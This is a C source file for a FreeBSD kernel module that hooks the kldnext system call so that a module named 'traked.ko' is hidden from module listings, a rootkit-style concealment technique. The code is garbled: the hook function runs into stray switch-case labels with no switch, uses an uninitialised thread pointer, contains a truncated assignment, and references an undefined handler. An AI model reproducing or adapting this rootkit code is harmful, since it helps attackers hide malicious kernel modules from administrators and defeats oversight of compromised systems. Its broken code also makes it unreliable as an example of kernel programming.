/*
 *
 * ---------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
 * <Traktopel@autistici.org> wrote this file. As long as you retain this notice
 * you can do whatever you want with this stuff. If we meet some day, and you
 * think this stuff is worth it, you can buy me a beer in return.
 * Traktopel
 * ---------------------------------------------------------------------------
 */


#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/file.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/lock.h>



static int trak_kldnext(struct thread *td, struct kldnext_args *uap) {

	linker_file_t lf;
	struct thread *td2;
	kldnext(td2,uap);
	

	lf=linker_find_file_by_id(td2->td_retval[0]);
	if(lf)
		if(!strcmp(lf->filename,"traked.ko"))
							return td->td_retval[0];

	sent[SYS_kldnext]=traked_kldnext_sysent;
			break;

		case MOD_UNLOAD:

			sysent[SYS_kldnext].sy_call=(sy_call_t*)kldnext;
  			break;

		default:

			error=EINVAL;
			break;

	}

		return error;

}

static moduledata_t syscall_mod = {

 "ukkers",
 dummy_handler,
 NULL

};

DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);


